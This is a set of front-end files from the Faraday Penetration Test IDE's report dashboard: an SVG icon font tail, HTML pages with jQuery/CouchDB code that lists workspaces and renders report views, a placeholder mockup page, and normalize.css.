213 <glyph unicode="&#xe186;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v300h-200v100h200v100h-300v-300h200v-100h-200v-100zM600 300h200v100h100v300h-100v100h-200v-500 zM700 400v300h100v-300h-100z" />
214 <glyph unicode="&#xe187;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h100v200h100v-200h100v500h-100v-200h-100v200h-100v-500zM600 300h200v100h100v300h-100v100h-200v-500 zM700 400v300h100v-300h-100z" />
215 <glyph unicode="&#xe188;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v100h-200v300h200v100h-300v-500zM600 300h300v100h-200v300h200v100h-300v-500z" />
216 <glyph unicode="&#xe189;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 550l300 -150v300zM600 400l300 150l-300 150v-300z" />
217 <glyph unicode="&#xe190;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300v500h700v-500h-700zM300 400h130q41 0 68 42t27 107t-28.5 108t-66.5 43h-130v-300zM575 549 q0 -65 27 -107t68 -42h130v300h-130q-38 0 -66.5 -43t-28.5 -108z" />
218 <glyph unicode="&#xe191;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v300h-200v100h200v100h-300v-300h200v-100h-200v-100zM601 300h100v100h-100v-100zM700 700h100 v-400h100v500h-200v-100z" />
219 <glyph unicode="&#xe192;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 300h300v400h-200v100h-100v-500zM301 400v200h100v-200h-100zM601 300h100v100h-100v-100zM700 700h100 v-400h100v500h-200v-100z" />
220 <glyph unicode="&#xe193;" d="M-100 300v500q0 124 88 212t212 88h700q124 0 212 -88t88 -212v-500q0 -124 -88 -212t-212 -88h-700q-124 0 -212 88t-88 212zM100 200h900v700h-900v-700zM200 700v100h300v-300h-99v-100h-100v100h99v200h-200zM201 300v100h100v-100h-100zM601 300v100h100v-100h-100z M700 700v100h200v-500h-100v400h-100z" />
221 <glyph unicode="&#xe194;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM400 500v200 l100 100h300v-100h-300v-200h300v-100h-300z" />
222 <glyph unicode="&#xe195;" d="M0 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM182 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM400 400v400h300 l100 -100v-100h-100v100h-200v-100h200v-100h-200v-100h-100zM700 400v100h100v-100h-100z" />
223 <glyph unicode="&#xe197;" d="M-14 494q0 -80 56.5 -137t135.5 -57h222v300h400v-300h128q120 0 205 86.5t85 207.5t-85 207t-205 86q-46 0 -90 -14q-44 97 -134.5 156.5t-200.5 59.5q-152 0 -260 -107.5t-108 -260.5q0 -25 2 -37q-66 -14 -108.5 -67.5t-42.5 -122.5zM300 200h200v300h200v-300h200 l-300 -300z" />
224 <glyph unicode="&#xe198;" d="M-14 494q0 -80 56.5 -137t135.5 -57h8l414 414l403 -403q94 26 154.5 104.5t60.5 178.5q0 120 -85 206.5t-205 86.5q-46 0 -90 -14q-44 97 -134.5 156.5t-200.5 59.5q-152 0 -260 -107.5t-108 -260.5q0 -25 2 -37q-66 -14 -108.5 -67.5t-42.5 -122.5zM300 200l300 300 l300 -300h-200v-300h-200v300h-200z" />
225 <glyph unicode="&#xe199;" d="M100 200h400v-155l-75 -45h350l-75 45v155h400l-270 300h170l-270 300h170l-300 333l-300 -333h170l-270 -300h170z" />
226 <glyph unicode="&#xe200;" d="M121 700q0 -53 28.5 -97t75.5 -65q-4 -16 -4 -38q0 -74 52.5 -126.5t126.5 -52.5q56 0 100 30v-306l-75 -45h350l-75 45v306q46 -30 100 -30q74 0 126.5 52.5t52.5 126.5q0 24 -9 55q50 32 79.5 83t29.5 112q0 90 -61.5 155.5t-150.5 71.5q-26 89 -99.5 145.5 t-167.5 56.5q-116 0 -197.5 -81.5t-81.5 -197.5q0 -4 1 -11.5t1 -11.5q-14 2 -23 2q-74 0 -126.5 -52.5t-52.5 -126.5z" />
227 </font>
228 </defs></svg>
0 <!-- Faraday Penetration Test IDE &#45; Community Version -->
1 <!-- Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) -->
2 <!-- See the file 'doc/LICENSE' for the license information -->
3 <!DOCTYPE html>
4 <!--[if lt IE 7 ]> <html lang="en" class="no-js ie6"> <![endif]-->
5 <!--[if IE 7 ]> <html lang="en" class="no-js ie7"> <![endif]-->
6 <!--[if IE 8 ]> <html lang="en" class="no-js ie8"> <![endif]-->
7 <!--[if IE 9 ]> <html lang="en" class="no-js ie9"> <![endif]-->
8 <!--[if (gt IE 9)|!(IE)]><!-->
9 <html id="no-overflow" lang="en" class="no-js"> <!--<![endif]-->
10 <head>
11 <meta charset="utf-8"/>
12 <!--[if IE]><![endif]-->
13 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
14 <title>Dashboard | Faraday</title>
15 <meta name="description" content=""/>
16 <meta name="keywords" content=""/>
17 <meta name="author" content=""/>
18
19 <!-- !CSS -->
20 <link rel="stylesheet" type="text/css" href="normalize.css" />
21 <link rel="stylesheet" type="text/css" href="estilos.css" />
22 <link rel="stylesheet" type="text/css" href="script/jquery.qtip.css" />
23 <link rel="stylesheet" href="script/bootstrap.min.css">
24 <link rel="stylesheet" href="script/bootstrap-theme.min.css">
25 <link rel="stylesheet" type="text/css" href="styles/font-awesome.css" />
26 <link href="favicon.ico" rel="shortcut icon">
27 <link href="favicon.ico" type="image/vnd.microsoft.icon" rel="icon" />
28 <link href="images/site_preview.jpg" rel="image_src" />
29
30 <script type="text/javascript" src="script/couch.js"></script>
31 <script type="text/javascript" src="script/common.js"></script>
32 <script type="text/javascript" src="/_utils/script/sha1.js"></script>
33 <script type="text/javascript" src="script/app.js"></script>
34 <script type="text/javascript" src="script/d3_summarized.js"></script>
35 <script type="text/javascript" src="script/reports_list.js"></script>
36 <script type="text/javascript" src="/_utils/script/json2.js"></script>
37 <script type="text/javascript" src="/_utils/script/jquery.js"></script>
38 <script type="text/javascript" src="/_utils/script/jquery.couch.js"></script>
39 <script type="text/javascript" src="script/jquery.tablesorter.min.js"></script>
40 <script type="text/javascript" src="script/bootstrap.min.js"></script>
41 <script type="text/javascript" src="script/jquery.qtip.js"></script>
42 <script type="text/javascript" src="script/d3.min.js"></script>
43 </head>
44
45 <body>
46 <div id="cont">
47 <div class="wrapper">
48 <header class="head">
49 <a href="#" class="ws-dashboard"><img class="logo" src="images/logo-faraday.png" alt="Faraday home | WS Dashboard"/></a>
50 </header>
51
52 <section id="main" class="seccion clearfix">
53 <aside>
54 <nav class="left-nav">
55 <ul>
56 <li>
57 <a href="#" class="ws-dashboard" style="color: #ffffff !important" title="WS Dashboard">
58 <h2><span class="fa fa-pie-chart" title="Dashboard"></span></h2>
59 </a>
60 </li>
61 <li>
62 <a href="#" class="status-report" style="color: #ffffff !important" title="Status Report">
63 <h2><span class="fa fa-list" title="Status Report"></span></h2>
64 </a>
65 </li>
66 </ul>
67 </nav>
68 </aside>
69
70 <div class="right-main">
71 <div id="reports-main" class="fila clearfix">
72 <h2 class="ws-label">
73 <span id="ws-name" class="label label-default" title="Current workspace"></span><!-- WS name -->
74
75 <div id="ws-control" class="btn-group">
76 <button id="refresh" type="button" class="btn btn-danger" title="Refresh current workspace">
77 <span class="glyphicon glyphicon-refresh"></span>
78 </button>
79 <button type="button" class="btn btn-danger dropdown-toggle" data-toggle="dropdown" title="Change current workspace">
80 Change workspace <span class="caret"></span>
81 </button>
82 <ul id="nav" class="dropdown-menu dropdown-menu-right" role="menu"></ul><!-- WS navigation -->
83 </div><!-- #ws-control -->
84 </h2><!-- .ws-label -->
85 <div class="reports">
86 </div><!-- .reports -->
87 </div><!-- #reports-main -->
88 </div><!-- .right-main -->
89 </section><!-- #main -->
90 <footer>
91 </footer>
92 </div><!--!/#wrapper -->
93 </div><!--!/#container -->
94
95 <script type="text/javascript">
96 $(document).ready(function() {
97 var counter = 0;
98 var h = 0;
99 $.couch.allDbs({
100 success : function(dbs) {
101 dbs.filter(function(db_name){
102 return db_name.search(/^_/) < 0 && db_name.search("reports") < 0;
103 })
104 .forEach(function(db) {
105 // WSs list
106 $("#ws-control #nav").append('<li><a href="#'+db+'" class="ws" >'+db+'</a></li>');
107 // navigation between WSs
108 if(window.location.hash === "" && counter === 0) {
109 window.location.hash = db;
110 location.reload();
111 }
112 counter +=1;
113 });
114 if(counter < 1) {
115 $("#reports-main").empty();
116 $("#reports-main").append("<div id=\"no-workspace\" class=\"workspace\">No Workspaces installed, please start working to get some data</div><!-- .workspace -->");
117 }
118 }
119 });
120 // navegacion entre WSs en el dropdown
121 $(document).on("click", "a.ws", function(e) {
122 e.preventDefault();
123 var hash = $(this).attr("href").substr(1);
124 window.location.hash = hash;
125 location.reload();
126 });
127 $(document).on("click", "#refresh", function() {
128 location.reload();
129 });
130 $(document).on("click", "a.ws-dashboard", function(e) {
131 e.preventDefault();
132 var url = "../././reports/index.html#" + workspace;
133 window.location.href = url;
134 });
135 $(document).on("click", "a.status-report", function(e) {
136 e.preventDefault();
137 var url = "../././reports/faraday.html#/status/ws/" + workspace;
138 window.location.href = url;
139 });
140 $(document).on("click", "a.treemap-view", function(e) {
141 e.preventDefault();
142 var url = "../././reports/treemap.html?workspace=" + workspace +"&design=hosts&view=byservices#"+ workspace;
143 window.location.href = url;
144 });
145
146 //get workspace
147 domain = location.href;
148 space = domain.split("#");
149 workspace = space[1];
150
151 var ret = "Dashboard for "+ workspace;
152 $('#reports-main .ws-label span#ws-name').text(ret);
153
154 rutas = [
155 "reports/compound.html?workspace="+workspace+"&design=hosts&view=compound",
156 "reports/byservices.html?workspace="+workspace+"&design=hosts&view=byservices",
157 "reports/summarized.html?workspace="+workspace+"&design=hosts&view=summarized",
158 "reports/vulns.html?workspace="+workspace+"&design=hosts&view=vulns",
159 "reports/commands.html?workspace="+workspace+"&design=commands&view=list"
160 ];
161 var content_cake = "<div id='sequence'></div><div id='chart'><div id='explanation' style='visibility: hidden;'></div></div>";
162
163 $("#reports-main").append("<div class='col-lg-2'><article id='treemap' class='panel panel-default'><header>"+
164 "<h2><a class=\"treemap-view\" href=\"\">Top Services</a> <span class=\"glyphicon glyphicon-info-sign faraday-qtips\" title=\"Top 5 services with the largest quantity of hosts\">"+
165 "</span></h2></header></article></div>"+
166 "<div class='col-lg-2'><article id='bar' class='panel panel-default'><header><h2>Top Hosts "+
167 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\" title=\"Top 3 hosts with the largest quantity of services\"></span></h2></header></article></div>"+
168 "<div class='col-lg-2'><article id='cake' class='panel panel-default'><header><h2>Vulnerabilities "+
169 "<span class=\"glyphicon glyphicon-info-sign faraday-qtips\" title=\"Vulnerabilty distribution for current WS\"></span></h2>"+
170 "</header>"+ content_cake +"</article></div>"+
171 "<div id='byservices'></div><div id='summarized'></div>"+
172 "<div id='compound'></div><div id='vulns'></div><div id='list'></div>");
173
174 design = "hosts";
175 view = "byservices";
176 treemap(workspace, design, view);
177 bar(workspace, design, view);
178 view = "vulns";
179 cake(workspace, design, view);
180 for (i = 0; i < rutas.length; i++) {
181 domain = rutas[i];
182 var div = load(domain);
183 }
184
185 var navegador = navigator.userAgent;
186 if (navigator.userAgent.indexOf('MSIE') !=-1) {
187 $("#main.seccion").height(screen.height - 100);
188 } else if (navigator.userAgent.indexOf('Firefox') !=-1) {
189 $("#main.seccion").height(screen.height - 100);
190 } else if (navigator.userAgent.indexOf('Chromium') !=-1) {
191 $("#main.seccion").height(screen.height - 100);
192 } else if (navigator.userAgent.indexOf('Chrome') !=-1) {
193 $("#main.seccion").height(screen.height - 100);
194 } else if (navigator.userAgent.indexOf('Opera') !=-1) {
195 $("#main.seccion").height(screen.height - 100);
196 }
197
198 $('#cont').on('mouseenter', '.faraday-qtips', function (event) {
199 $(this).qtip({
200 overwrite: false, // Don't overwrite tooltips already bound
201 show: {
202 event: event.type, // Use the same event type as above
203 ready: true // Show immediately - important!
204 },
205 hide: {
206 fixed: true,
207 delay: 300
208 },
209 content:{
210 text: function(event, api) {
211 var res = "<div id=\"contenido\">"+$(this).attr("title")+"</div>";
212 return res;
213 }
214 },
215 position:{
216 my: 'top center',
217 at: 'bottom center',
218 adjust: {
219 method: 'shift'
220 }
221 }
222 });
223 });
224 });
225
226 function load(domain){
227 $(".reports").load(domain, function(){
228 var parametros = domains(domain);
229 var div = get_report_div(parametros[0],parametros[1],parametros[2]);
230 if(parametros[1] == "byservices"){
231 $("#byservices").append(div);
232 }
233 if(parametros[1] == "summarized"){
234 $("#summarized").append(div);
235 }
236 if(parametros[1] == "vulns"){
237 $("#vulns").append(div);
238 }
239 if(parametros[1] == "list"){
240 $("#list").append(div);
241 }
242 if(parametros[1] == "compound"){
243 $("#compound").append(div);
244 }
245 });
246 }
247
248 function domains(domain){
249 //get the link parameters
250 space = domain.split("=");
251 workspace = space[1].split("&");
252 workspace = workspace[0];
253 design = space[2].split("&");
254 design = design[0];
255 view = space[3];
256 parametros = [workspace, view, design];
257 return parametros;
258 }
259
260 setTimeout(function() {
261 //order of compound when reload
262 sorter(0);
263 }, 1000);
264 </script>
265 </body>
266 </html>
0 <!-- Faraday Penetration Test IDE &#45; Community Version -->
1 <!-- Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) -->
2 <!-- See the file 'doc/LICENSE' for the license information -->
3 <!DOCTYPE html>
4 <!--[if lt IE 7 ]> <html lang="en" class="no-js ie6"> <![endif]-->
5 <!--[if IE 7 ]> <html lang="en" class="no-js ie7"> <![endif]-->
6 <!--[if IE 8 ]> <html lang="en" class="no-js ie8"> <![endif]-->
7 <!--[if IE 9 ]> <html lang="en" class="no-js ie9"> <![endif]-->
8 <!--[if (gt IE 9)|!(IE)]><!--> <html lang="en" class="no-js"> <!--<![endif]-->
9 <head>
10 <meta charset="utf-8"/>
11 <!--[if IE]><![endif]-->
12 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
13 <title>Dashboard | Faraday</title>
14 <meta name="description" content=""/>
15 <meta name="keywords" content=""/>
16 <meta name="author" content=""/>
17
18 <!-- !CSS -->
19 <link rel="stylesheet" type="text/css" href="estilos.css" />
20
21 <link href="favicon.ico" rel="shortcut icon">
22 <link href="favicon.ico" type="image/vnd.microsoft.icon" rel="icon" />
23 <link href="images/site_preview.jpg" rel="image_src" />
24 </head>
25
26 <body>
27 <div id="cont">
28 <div class="wrapper">
29 <header class="head">
30 <a href="#"><img class="logo" src="images/logo-faraday.png"/></a>
31 <nav>
32 <ul class="menu">
33 <li>
34 <a href="#">Opción 1</a>
35 </li>
36 <li>
37 <a href="#">Opción 1</a>
38 </li>
39 <li>
40 <a href="#" class="activo">Username</a>
41 <ul>
42 <li><a href="#">Sub opción 1</a></li>
43 <li><a href="#">Sub opción 2</a></li>
44 </ul>
45 </li>
46 </ul>
47 </nav>
48 </header>
49
50 <aside>
51 <nav>
52 <ul>
53 <li>
54 <a href="#"><img src="images/ico-settings.png" alt="Settings"/></a>
55 <a href="#" class="activo"><img src="images/ico-graph.png" alt=""/></a>
56 <a href="#"><img src="images/ico-stopwatch.png" alt=""/></a>
57 </li>
58 </ul>
59 </nav>
60 </aside>
61
62 <section id="reportes" class="seccion clearfix">
63 <div class="fila clearfix">
64 <div class="columna full">
65 <article>
66 <section class="sin_padding">
67 <table id="myTable" class="tablesorter">
68 <thead>
69 <tr>
70 <th>Last Name</th>
71 <th>First Name</th>
72 <th>Email</th>
73 <th>Due</th>
74 <th>Web Site</th>
75 </tr>
76 </thead>
77 <tbody>
78 <tr>
79 <td>Smith</td>
80 <td>John</td>
81 <td>[email protected]</td>
82 <td>$50.00</td>
83 <td>http://www.jsmith.com</td>
84 </tr>
85 <tr>
86 <td>Bach</td>
87 <td>Frank</td>
88 <td>[email protected]</td>
89 <td>$50.00</td>
90 <td>http://www.frank.com</td>
91 </tr>
92 </tbody>
93 </table>
94 </section>
95 </article>
96 </div>
97 </div>
98
99 <div class="fila clearfix">
100 <div class="columna unmedio">
101 <article>
102 <header>
103 <h2>Summary report con texto muy largo</h2>
104 </header>
105 <section>
106 <img src="images/grafico.png"/>
107 </section>
108 </article>
109 </div>
110 <div class="columna unmedio last">
111 <article>
112 <header>
113 <h2>Summary</h2>
114 </header>
115 <section>
116
117 </section>
118 </article>
119 </div>
120 </div><!-- fin fila -->
121
122 <div class="fila clearfix">
123 <div class="columna untercio">
124 <article>
125 <header>
126
127 </header>
128 <section>
129
130 </section>
131 </article>
132 </div>
133 <div class="columna dostercios last">
134 <article>
135 <header>
136
137 </header>
138 <section>
139 <img src="images/grafico.png"/>
140 </section>
141 </article>
142 </div>
143 </div><!-- fin fila -->
144
145 <div class="fila clearfix">
146 <div class="columna uncuarto">
147 <article class="dato1">
148 <section>
149 <div class="tit">Título</div>
150 <div class="nro">9.871,3</div>
151 <p>Alguna aclaración con texto largo de tres líneas</p>
152 </section>
153 </article>
154 </div>
155 <div class="columna uncuarto">
156 <article>
157 <section>
158
159 </section>
160 </article>
161 </div>
162 <div class="columna uncuarto">
163 <article>
164 <section>
165 <p>sdjfhsd</p>
166 </section>
167 </article>
168 </div>
169 <div class="columna uncuarto last">
170 <article>
171 <section>
172
173 </section>
174 </article>
175 </div>
176 </div><!-- fin fila -->
177
178 <div class="fila clearfix">
179 <div class="columna unquinto">
180 <article class="dato2 fondo-negro">
181 <section>
182 <div class="nro texto-rojo">574</div>
183 <div class="txt texto-blanco">Algún dato</div>
184 </section>
185 </article>
186 </div>
187 <div class="columna unquinto">
188 <article class="dato2 fondo-rojo">
189 <section>
190 <div class="nro texto-negro">574</div>
191 <div class="txt texto-blanco">Algún dato</div>
192 </section>
193 </article>
194 </div>
195 <div class="columna unquinto">
196 <article>
197 <section>
198
199 </section>
200 </article>
201 </div>
202 <div class="columna unquinto">
203 <article>
204 <section>
205
206 </section>
207 </article>
208 </div>
209 </div>
210
211 </section>
212 <footer>
213 </footer>
214 </div><!--!/#wrapper -->
215 </div><!--!/#container -->
216 <script type="text/javascript" src="js/jquery.tablesorter.min"></script>
217
218 <script src="/_utils/script/sha1.js"></script>
219 <script src="script/app.js"></script>
220 <script src="script/reports_list.js"></script>
221
222 <script src="/_utils/script/json2.js"></script>
223 <script src="/_utils/script/jquery.js"></script>
224 <script src="/_utils/script/jquery.couch.js"></script>
225
226 <script type="text/javascript">
227 $.couch.allDbs({
228 success : function(dbs) {
229 dbs.filter(function(db_name){
230 return db_name.search(/^_/) < 0 && db_name.search("reports") < 0;})
231 .forEach(function(db) {
232 rep_links = [];
233 reports.forEach( function(reps) {
234 json_url = "/" + db + "/_design/" + designs[reps] + "/_view/" + views[reps] + "?group=true";
235
236 $.getJSON(json_url, function(data) {
237 console.log(data);
238 var thead = "<table id=\"myTable\" class=\"tablesorter\"><thead><tr><th>Service</th><th>Quantity</th></tr></thead><tbody>";
239 var tfoot = "</tbody></table>";
240 var tbody = [];
241 $.each(data.rows, function(n, obj){
242 tbody.push("<tr> <td>"+obj.key+"</td> <td>"+obj.value+"</td> </tr>");
243 console.log(obj.value);
244
245 });
246 $("#reportes").append("<div class=\"fila clearfix\"><div class=\"columna uncuarto\"><article><section class=\"sin_padding\">"+thead+tbody.join("")+tfoot+"</section></article></div></div>");
247 });
248 });
249 //$("#reportes").append('<div class="fila clearfix"><div class="columna full"><article><section class="sin_padding"><li><a href="/_utils/database.html?'+db+'">'+db+'</a>' + rep_links.join(' ') + '</li></section></article></div></div>');
250 });
251 }
252 });
253 </script>
254
255 <script type="text/javascript">
256 $(function(){
257
258 var h = $('section.seccion').height();
259 $('aside').height(h);
260
261 // Table sorter
262 $("#myTable").tablesorter();
263 //
264 });
265 </script>
266 </body>
267 </html>
0 /*! normalize.css v1.1.3 | MIT License | git.io/normalize */
1
2 /* ==========================================================================
3 HTML5 display definitions
4 ========================================================================== */
5
6 /**
7 * Correct `block` display not defined in IE 6/7/8/9 and Firefox 3.
8 */
9
10 article,
11 aside,
12 details,
13 figcaption,
14 figure,
15 footer,
16 header,
17 hgroup,
18 main,
19 nav,
20 section,
21 summary {
22 display: block;
23 }
24
25 /**
26 * Correct `inline-block` display not defined in IE 6/7/8/9 and Firefox 3.
27 */
28
29 audio,
30 canvas,
31 video {
32 display: inline-block;
33 *display: inline;
34 *zoom: 1;
35 }
36
37 /**
38 * Prevent modern browsers from displaying `audio` without controls.
39 * Remove excess height in iOS 5 devices.
40 */
41
42 audio:not([controls]) {
43 display: none;
44 height: 0;
45 }
46
47 /**
48 * Address styling not present in IE 7/8/9, Firefox 3, and Safari 4.
49 * Known issue: no IE 6 support.
50 */
51
52 [hidden] {
53 display: none;
54 }
55
56 /* ==========================================================================
57 Base
58 ========================================================================== */
59
60 /**
61 * 1. Correct text resizing oddly in IE 6/7 when body `font-size` is set using
62 * `em` units.
63 * 2. Prevent iOS text size adjust after orientation change, without disabling
64 * user zoom.
65 */
66
67 html {
68 font-size: 100%; /* 1 */
69 -ms-text-size-adjust: 100%; /* 2 */
70 -webkit-text-size-adjust: 100%; /* 2 */
71 }
72
73 /**
74 * Address `font-family` inconsistency between `textarea` and other form
75 * elements.
76 */
77
78 html,
79 button,
80 input,
81 select,
82 textarea {
83 font-family: sans-serif;
84 }
85
86 /**
87 * Address margins handled incorrectly in IE 6/7.
88 */
89
90 body {
91 margin: 0;
92 }
93
94 /* ==========================================================================
95 Links
96 ========================================================================== */
97
98 /**
99 * Address `outline` inconsistency between Chrome and other browsers.
100 */
101
102 a:focus {
103 outline: thin dotted;
104 }
105
106 /**
107 * Improve readability when focused and also mouse hovered in all browsers.
108 */
109
110 a:active,
111 a:hover {
112 outline: 0;
113 }
114
115 /* ==========================================================================
116 Typography
117 ========================================================================== */
118
119 /**
120 * Address font sizes and margins set differently in IE 6/7.
121 * Address font sizes within `section` and `article` in Firefox 4+, Safari 5,
122 * and Chrome.
123 */
124
125 h1 {
126 font-size: 2em;
127 margin: 0.67em 0;
128 }
129
130 h2 {
131 font-size: 1.5em;
132 margin: 0.83em 0;
133 }
134
135 h3 {
136 font-size: 1.17em;
137 margin: 1em 0;
138 }
139
140 h4 {
141 font-size: 1em;
142 margin: 1.33em 0;
143 }
144
145 h5 {
146 font-size: 0.83em;
147 margin: 1.67em 0;
148 }
149
150 h6 {
151 font-size: 0.67em;
152 margin: 2.33em 0;
153 }
154
155 /**
156 * Address styling not present in IE 7/8/9, Safari 5, and Chrome.
157 */
158
159 abbr[title] {
160 border-bottom: 1px dotted;
161 }
162
163 /**
164 * Address style set to `bolder` in Firefox 3+, Safari 4/5, and Chrome.
165 */
166
167 b,
168 strong {
169 font-weight: bold;
170 }
171
172 blockquote {
173 margin: 1em 40px;
174 }
175
176 /**
177 * Address styling not present in Safari 5 and Chrome.
178 */
179
180 dfn {
181 font-style: italic;
182 }
183
184 /**
185 * Address differences between Firefox and other browsers.
186 * Known issue: no IE 6/7 normalization.
187 */
188
189 hr {
190 -moz-box-sizing: content-box;
191 box-sizing: content-box;
192 height: 0;
193 }
194
195 /**
196 * Address styling not present in IE 6/7/8/9.
197 */
198
199 mark {
200 background: #ff0;
201 color: #000;
202 }
203
204 /**
205 * Address margins set differently in IE 6/7.
206 */
207
208 p,
209 pre {
210 margin: 1em 0;
211 }
212
213 /**
214 * Correct font family set oddly in IE 6, Safari 4/5, and Chrome.
215 */
216
217 code,
218 kbd,
219 pre,
220 samp {
221 font-family: monospace, serif;
222 _font-family: 'courier new', monospace;
223 font-size: 1em;
224 }
225
226 /**
227 * Improve readability of pre-formatted text in all browsers.
228 */
229
230 pre {
231 white-space: pre;
232 white-space: pre-wrap;
233 word-wrap: break-word;
234 }
235
236 /**
237 * Address CSS quotes not supported in IE 6/7.
238 */
239
240 q {
241 quotes: none;
242 }
243
244 /**
245 * Address `quotes` property not supported in Safari 4.
246 */
247
248 q:before,
249 q:after {
250 content: '';
251 content: none;
252 }
253
254 /**
255 * Address inconsistent and variable font size in all browsers.
256 */
257
258 small {
259 font-size: 80%;
260 }
261
262 /**
263 * Prevent `sub` and `sup` affecting `line-height` in all browsers.
264 */
265
266 sub,
267 sup {
268 font-size: 75%;
269 line-height: 0;
270 position: relative;
271 vertical-align: baseline;
272 }
273
274 sup {
275 top: -0.5em;
276 }
277
278 sub {
279 bottom: -0.25em;
280 }
281
282 /* ==========================================================================
283 Lists
284 ========================================================================== */
285
286 /**
287 * Address margins set differently in IE 6/7.
288 */
289
290 dl,
291 menu,
292 ol,
293 ul {
294 margin: 1em 0;
295 }
296
297 dd {
298 margin: 0 0 0 40px;
299 }
300
301 /**
302 * Address paddings set differently in IE 6/7.
303 */
304
305 menu,
306 ol,
307 ul {
308 padding: 0 0 0 40px;
309 }
310
311 /**
312 * Correct list images handled incorrectly in IE 7.
313 */
314
315 nav ul,
316 nav ol {
317 list-style: none;
318 list-style-image: none;
319 }
320
321 /* ==========================================================================
322 Embedded content
323 ========================================================================== */
324
325 /**
326 * 1. Remove border when inside `a` element in IE 6/7/8/9 and Firefox 3.
327 * 2. Improve image quality when scaled in IE 7.
328 */
329
330 img {
331 border: 0; /* 1 */
332 -ms-interpolation-mode: bicubic; /* 2 */
333 }
334
335 /**
336 * Correct overflow displayed oddly in IE 9.
337 */
338
339 svg:not(:root) {
340 overflow: hidden;
341 }
342
343 /* ==========================================================================
344 Figures
345 ========================================================================== */
346
347 /**
348 * Address margin not present in IE 6/7/8/9, Safari 5, and Opera 11.
349 */
350
351 figure {
352 margin: 0;
353 }
354
355 /* ==========================================================================
356 Forms
357 ========================================================================== */
358
359 /**
360 * Correct margin displayed oddly in IE 6/7.
361 */
362
363 form {
364 margin: 0;
365 }
366
367 /**
368 * Define consistent border, margin, and padding.
369 */
370
371 fieldset {
372 border: 1px solid #c0c0c0;
373 margin: 0 2px;
374 padding: 0.35em 0.625em 0.75em;
375 }
376
377 /**
378 * 1. Correct color not being inherited in IE 6/7/8/9.
379 * 2. Correct text not wrapping in Firefox 3.
380 * 3. Correct alignment displayed oddly in IE 6/7.
381 */
382
383 legend {
384 border: 0; /* 1 */
385 padding: 0;
386 white-space: normal; /* 2 */
387 *margin-left: -7px; /* 3 */
388 }
389
390 /**
391 * 1. Correct font size not being inherited in all browsers.
392 * 2. Address margins set differently in IE 6/7, Firefox 3+, Safari 5,
393 * and Chrome.
394 * 3. Improve appearance and consistency in all browsers.
395 */
396
397 button,
398 input,
399 select,
400 textarea {
401 font-size: 100%; /* 1 */
402 margin: 0; /* 2 */
403 vertical-align: baseline; /* 3 */
404 *vertical-align: middle; /* 3 */
405 }
406
407 /**
408 * Address Firefox 3+ setting `line-height` on `input` using `!important` in
409 * the UA stylesheet.
410 */
411
412 button,
413 input {
414 line-height: normal;
415 }
416
417 /**
418 * Address inconsistent `text-transform` inheritance for `button` and `select`.
419 * All other form control elements do not inherit `text-transform` values.
420 * Correct `button` style inheritance in Chrome, Safari 5+, and IE 6+.
421 * Correct `select` style inheritance in Firefox 4+ and Opera.
422 */
423
424 button,
425 select {
426 text-transform: none;
427 }
428
429 /**
430 * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
431 * and `video` controls.
432 * 2. Correct inability to style clickable `input` types in iOS.
433 * 3. Improve usability and consistency of cursor style between image-type
434 * `input` and others.
435 * 4. Remove inner spacing in IE 7 without affecting normal text inputs.
436 * Known issue: inner spacing remains in IE 6.
437 */
438
439 button,
440 html input[type="button"], /* 1 */
441 input[type="reset"],
442 input[type="submit"] {
443 -webkit-appearance: button; /* 2 */
444 cursor: pointer; /* 3 */
445 *overflow: visible; /* 4 */
446 }
447
448 /**
449 * Re-set default cursor for disabled elements.
450 */
451
452 button[disabled],
453 html input[disabled] {
454 cursor: default;
455 }
456
457 /**
458 * 1. Address box sizing set to content-box in IE 8/9.
459 * 2. Remove excess padding in IE 8/9.
460 * 3. Remove excess padding in IE 7.
461 * Known issue: excess padding remains in IE 6.
462 */
463
464 input[type="checkbox"],
465 input[type="radio"] {
466 box-sizing: border-box; /* 1 */
467 padding: 0; /* 2 */
468 *height: 13px; /* 3 */
469 *width: 13px; /* 3 */
470 }
471
472 /**
473 * 1. Address `appearance` set to `searchfield` in Safari 5 and Chrome.
474 * 2. Address `box-sizing` set to `border-box` in Safari 5 and Chrome
475 * (include `-moz` to future-proof).
476 */
477
478 input[type="search"] {
479 -webkit-appearance: textfield; /* 1 */
480 -moz-box-sizing: content-box;
481 -webkit-box-sizing: content-box; /* 2 */
482 box-sizing: content-box;
